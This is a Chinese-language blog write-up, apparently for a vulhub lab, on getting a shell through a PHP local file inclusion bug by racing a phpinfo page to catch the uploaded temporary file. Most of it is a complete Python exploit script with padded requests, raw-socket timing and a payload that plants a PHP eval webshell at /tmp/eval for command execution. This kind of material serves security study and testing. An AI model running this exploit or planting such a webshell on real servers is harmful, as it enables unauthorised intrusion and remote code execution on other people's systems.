利用场景
PHP文件包含漏洞中,如果找不到可以包含的文件,我们可以通过包含临时文件的方法来getshell。因为临时文件名是随机的,如果目标网站上存在phpinfo,则可以通过phpinfo来获取临时文件名,进而进行包含。
漏洞原理
本质是一个条件竞争
在对一个页面进行文件上传时,无论这个页面将来是否要利用这个文件,php都会将这个文件保存成一个临时文件,默认为 tmp/php[\d\w]{6}
关于这个文件的信息可以通过$_FILES变量获取,这个临时文件将在脚本执行结束时被php销毁
所以我们可以在她销毁之前去进行包含,即文件在被销毁之前已经执行了,达到了我们写shelll的目的
漏洞环境
这里使用了vulhub的docker镜像
其实也就一个包含点1
2
include $_GET['file'];
和phpinfo页面1
2
3
phpinfo();
>
复现
先像phpinfo页面发送一个上传包进行测试,这里可以使用curl。
但是我还是习惯直接写个html(1
2
3
4
5
6
7<form action="http://x.x.x.x:8080/phpinfo.php" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>
根据phpinfo页面返回的信息可以看到临时文件名
这里还有一个问题就是我们不能等待一次完整的http请求完成,请求完成的时候文件已经被删除了。所以我们要使用socket直接操纵http请求
这个时候就需要用到条件竞争,具体流程如下:
- 发送包含了webshell的上传数据包给phpinfo页面,这个数据包的header、get等位置需要塞满垃圾数据
- 因为phpinfo页面会将所有数据都打印出来,1中的垃圾数据会将整个phpinfo页面撑得非常大
- php默认的输出缓冲区大小为4096,可以理解为php每次返回4096个字节给socket连接
- 所以,我们直接操作原生socket,每次读取4096个字节。只要读取到的字符里包含临时文件名,就立即发送第二个数据包
- 此时,第一个数据包的socket连接实际上还没结束,因为php还在继续每次输出4096个字节,所以临时文件此时还没有删除
- 利用这个时间差,第二个数据包,也就是文件包含漏洞的利用,即可成功包含临时文件,最终getshell
构造exp1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121import os
import socket
import sys
tag = 'kingkk'
PAYLOAD="""{}\r
<?php file_put_contents('/tmp/eval', '<?=eval($_REQUEST[1])?>')?>\r""".format(tag)
UPLOAD="""-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
{}
-----------------------------7dbff1ded0714--\r""".format(PAYLOAD)
padding="A" * 5000
INFOREQ="""POST /phpinfo.php?a={padding} HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie={padding}\r
HTTP_ACCEPT: {padding}\r
HTTP_USER_AGENT: {padding}\r
HTTP_ACCEPT_LANGUAGE: {padding}\r
HTTP_PRAGMA: {padding}\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: {len}\r
Host: %s\r
\r
{upload}""".format(padding=padding, len=len(UPLOAD), upload=UPLOAD)
LFIREQ="""GET /lfi.php?file=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
class PHPINFO_LFI():
def __init__(self, host, port):
self.host = host
self.port = int(port)
self.req_payload= (INFOREQ % self.host).encode('utf-8')
self.lfireq = LFIREQ
self.offset = self.get_offfset()
def get_offfset(self):
'''
获取tmp名字的offset
'''
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((self.host, self.port))
s.send(self.req_payload)
page = b""
while True:
i = s.recv(4096)
page+=i
if i == "":
break
if i.decode('utf8').endswith("0\r\n\r\n"):
break
s.close()
pos = page.decode('utf8').find("[tmp_name] => ")
print('get the offset :{} '.format(pos))
if pos == -1:
raise ValueError("No php tmp_name in phpinfo output")
return pos+256 #多加一些字节
def phpinfo_lfi(self):
'''
同时发送phpinfo请求与lfi请求
'''
phpinfo = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
lfi = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
phpinfo.connect((self.host, self.port))
lfi.connect((self.host, self.port))
phpinfo.send(self.req_payload)
infopage = b""
while len(infopage) < self.offset:
infopage += phpinfo.recv(self.offset)
pos = infopage.decode('utf8').index("[tmp_name] => ")
tmpname = infopage[pos+17:pos+31]
lfireq = self.lfireq % (tmpname.decode('utf8'),self.host)
lfi.send(lfireq.encode('utf8'))
fipage = lfi.recv(4096)
phpinfo.close()
lfi.close()
if fipage.decode('utf8').find(tag) != -1:
return tmpname
if __name__ == '__main__':
if len(sys.argv) < 4:
print('usage:\n\texp.py 127.0.0.1 80 500')
exit()
host = sys.argv[1]
port = sys.argv[2]
attempts = sys.argv[3]
print('{x}Start expolit {host}:{port} {attempts} times{x}'.format(x='*'*15, host=host, port=port, attempts=attempts))
p = PHPINFO_LFI(host,port)
for i in range(int(attempts)):
print('Trying {}/{} times…'.format(i, attempts), end="\r")
if p.phpinfo_lfi() is not None:
print('Getshell success! at /tmp/eval "<?=eval($_REQUEST[1])?>"')
exit()
print(':( Failed')
执行exp后成功写入文件
然后再去包含该文件即可命令执行
个人感觉其实可以用包含写一个shell就可以了,然后就不用再包含了
等这段时间忙完再倒回来填坑